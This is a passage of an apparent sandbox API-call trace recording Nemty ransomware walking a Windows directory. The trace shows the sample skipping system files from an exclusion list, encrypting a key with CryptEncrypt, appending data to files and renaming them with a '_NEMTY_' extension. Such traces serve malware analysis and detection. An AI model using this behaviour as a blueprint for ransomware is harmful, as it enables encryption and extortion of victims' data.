lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.671] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0107.677] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.677] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0107.677] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.677] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0107.683] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.683] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0107.683] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.683] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f941d8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0107.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0107.683] CloseHandle (hObject=0xffffffff) returned 0 [0107.683] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94348 [0107.683] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0107.683] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0107.683] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0107.683] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0107.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0107.683] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0107.683] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0107.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0107.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0107.683] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceAmharic.txt" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextserviceamharic.txt"), lpNewFileName="C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceAmharic.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextserviceamharic.txt._nemty_kgobjgd_")) returned 0 [0107.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0107.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94348 | out: hHeap=0x4f90000) returned 1 [0107.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0107.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941d8 | out: hHeap=0x4f90000) returned 1 [0107.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0107.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0107.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0107.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94130 | out: hHeap=0x4f90000) returned 1 [0107.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0107.684] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.684] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a73731, ftCreationTime.dwHighDateTime=0x1ca0400, ftLastAccessTime.dwLowDateTime=0x72a73731, ftLastAccessTime.dwHighDateTime=0x1ca0400, ftLastWriteTime.dwLowDateTime=0x6e8340d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x136bf6, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="TableTextServiceArray.txt", cAlternateFileName="")) returned 1 [0107.684] lstrcmpiW (lpString1="TableTextServiceArray.txt", lpString2=".") returned 1 [0107.684] lstrcmpiW (lpString1="TableTextServiceArray.txt", lpString2="..") returned 1 [0107.684] lstrcmpiW (lpString1="TableTextServiceArray.txt", lpString2="...") returned 1 [0107.684] lstrcmpiW (lpString1="TableTextServiceArray.txt", lpString2="windows") returned -1 [0107.684] lstrcmpiW (lpString1="TableTextServiceArray.txt", lpString2="$RECYCLE.BIN") returned 1 [0107.684] lstrcmpiW (lpString1="TableTextServiceArray.txt", lpString2="rsa") returned 1 [0107.684] lstrcmpiW (lpString1="TableTextServiceArray.txt", lpString2="NTDETECT.COM") returned 1 [0107.684] lstrcmpiW (lpString1="TableTextServiceArray.txt", lpString2="ntldr") returned 1 [0107.684] lstrcmpiW (lpString1="TableTextServiceArray.txt", lpString2="MSDOS.SYS") returned 1 [0107.684] lstrcmpiW (lpString1="TableTextServiceArray.txt", lpString2="IO.SYS") returned 1 [0107.684] lstrcmpiW (lpString1="TableTextServiceArray.txt", lpString2="boot.ini") returned 1 [0107.684] lstrcmpiW (lpString1="TableTextServiceArray.txt", lpString2="boot.ini") returned 1 [0107.684] lstrcmpiW (lpString1="TableTextServiceArray.txt", lpString2="AUTOEXEC.BAT") returned 1 [0107.684] lstrcmpiW (lpString1="TableTextServiceArray.txt", lpString2="ntuser.dat") returned 1 [0107.684] lstrcmpiW (lpString1="TableTextServiceArray.txt", lpString2="desktop.ini") returned 1 [0107.684] lstrcmpiW (lpString1="TableTextServiceArray.txt", lpString2="CONFIG.SYS") returned 1 [0107.684] lstrcmpiW (lpString1="TableTextServiceArray.txt", lpString2="RECYCLER") returned 1 [0107.684] lstrcmpiW (lpString1="TableTextServiceArray.txt", lpString2="BOOTSECT.BAK") returned 1 [0107.684] lstrcmpiW (lpString1="TableTextServiceArray.txt", lpString2="bootmgr") returned 1 [0107.684] lstrcmpiW (lpString1="TableTextServiceArray.txt", lpString2="programdata") returned 1 [0107.684] lstrcmpiW (lpString1="TableTextServiceArray.txt", lpString2="appdata") returned 1 [0107.684] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0107.684] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextServiceArray.txt", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0107.684] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.684] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextServiceArray.txt", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TableTextServiceArray.txt", lpUsedDefaultChar=0x0) returned 25 [0107.684] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.684] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0107.684] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextServiceArray.txt", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0107.685] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.685] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextServiceArray.txt", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TableTextServiceArray.txt", lpUsedDefaultChar=0x0) returned 25 [0107.685] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.685] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0107.685] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0107.685] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0107.685] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextServiceArray.txt", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0107.685] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.685] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextServiceArray.txt", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TableTextServiceArray.txt", lpUsedDefaultChar=0x0) returned 25 [0107.685] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0107.685] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0107.685] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextServiceArray.txt", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0107.685] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0107.685] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextServiceArray.txt", cchWideChar=25, lpMultiByteStr=0x4f9ed58, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TableTextServiceArray.txt", lpUsedDefaultChar=0x0) returned 25 [0107.685] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0107.685] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0107.685] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0107.685] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0107.685] Sleep (dwMilliseconds=0x5) [0107.701] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf3d759b0, dwHighDateTime=0x1d561e7)) [0107.701] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf3d759b0, dwHighDateTime=0x1d561e7)) [0107.701] GetLastError () returned 0x5 [0107.701] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0107.701] GetLastError () returned 0x5 [0107.701] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0107.701] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0107.701] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0107.701] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0107.701] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0107.701] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0107.701] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94088 [0107.701] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94088, pcchString=0x653ef9c | out: pszString="+ehutSSmEsuL1aDt2BmTTNVw1D8NwACU34ddbAdl+zfulQn5IwN/PnaZhqYzxU12\r\neirZ31MIL21+d/dxJDoVdeHi06htTTamASjbkPhsTta7Mc0Pv0vO0ND8VtF5kaUi\r\na5lxDipiMdqoEeRLvmnQutwIH5PgZEo8RiH0p17UHU/cNO46dcAzYByxlPXvXvsD\r\n52H4ndS7JNXOHwQZxIVsBZ38EmkBO60zzFn20Ncu3XB/PBJSSWrhNa4M+GZ1fEYU\r\nu8n2clInf/RFEKxYzlTxwN8fktITn4OeZTzV7it0nuRyC8XXWEzVJSB2eWGns/fY\r\n1XljSDCVRPAFatGrY2J1lw==\r\n", pcchString=0x653ef9c) returned 1 [0107.701] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0107.701] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0107.701] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0107.701] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0107.701] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94088 [0107.701] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0107.701] CreateFileW (lpFileName="C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceArray.txt" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextservicearray.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.702] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0107.702] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0107.702] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.702] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0107.712] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.712] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0107.712] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.712] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0107.721] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.721] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0107.721] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.721] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0107.730] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.730] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0107.730] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.731] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0107.740] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.740] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0107.740] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.740] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0107.749] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.750] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0107.750] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.750] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0107.759] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.759] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0107.759] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.759] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0107.775] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.775] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0107.775] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.775] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0107.784] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.784] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0107.784] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.784] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0107.794] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.794] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0107.794] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.794] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0107.803] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.803] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0107.803] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.803] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0107.809] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.809] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0107.809] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.809] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0107.815] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.815] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0107.815] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.815] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f94088, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0107.815] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0107.815] CloseHandle (hObject=0xffffffff) returned 0 [0107.815] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0107.815] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, 